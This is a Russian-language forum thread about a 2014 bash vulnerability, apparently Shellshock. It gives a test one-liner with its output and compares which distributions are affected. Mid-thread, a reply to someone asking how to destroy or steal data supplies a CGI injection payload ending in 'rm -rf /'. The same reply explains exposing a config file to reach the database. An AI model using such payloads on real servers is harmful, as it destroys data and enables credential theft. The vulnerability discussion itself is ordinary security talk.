Критическая уязвимость в bash

root@lw ~# env X='() { (a)=>\' sh -c "echo date"; cat echo

date

cat: echo: No such file or directory

В случае наличия уязвимости в каталоге, котором это дело запускалось, появится файл, в котором написана дата. Вы бы увидели вывод типа такого:

# env X='() { (a)=>\' sh -c "echo date"; cat echo

sh: X: line 1: syntax error near unexpected token `='

sh: X: line 1: `'

sh: error importing function definition for `X'

Чтв Сен 25 15:35:03 MSK 2014

То есть что демонстрирует этот пример: если это запущено из-под рута и в каталоге, где лежит команда echo, команда echo перестает быть командой echo :)

env X='() { (a)=>\' sh -c "echo date"; cat echo

В Debian не воспроизводится, не смотря на то что в багтрекере нет обновлений. В CentOS воспроизводится.

У меня на 6ке сработало.

El Marshal Che, ну а что ж вы хотели? Нужно идти в ногу со временем.

как этой уязвимостью "убить" сервер на который я имею пользовательский ssh ?

как мне удалить данные, похитить чужие данные?

Как вариант, передаёте в QUERY_STRING данные:

() { :;}; rm -rf /

И CGI-скрипт, имеющий в качестве шеллы уязвимый bash, убивает все доступные файлы.

Аналогичными манипуляциями копируем файл типа "config.inc" в "config.html", смотрим браузером, залезаем в базу.

Сервер, конечно, можно убить только в том случае, если в системе чудом окажется suid-скрипт на bash-е.

"убивает все доступные файлы."

пользовательские и доступные для чтения для o+r ?

при условии корректной настройки прав доступа в ОС сервера ?

Разумеется, пользовательские. В директориях, в которых у него есть право на запись.

круто!

обновился утром...

фикс на debian 6 должен выйти (если еще не вышел)

https://wiki.debian.org/DebianSqueeze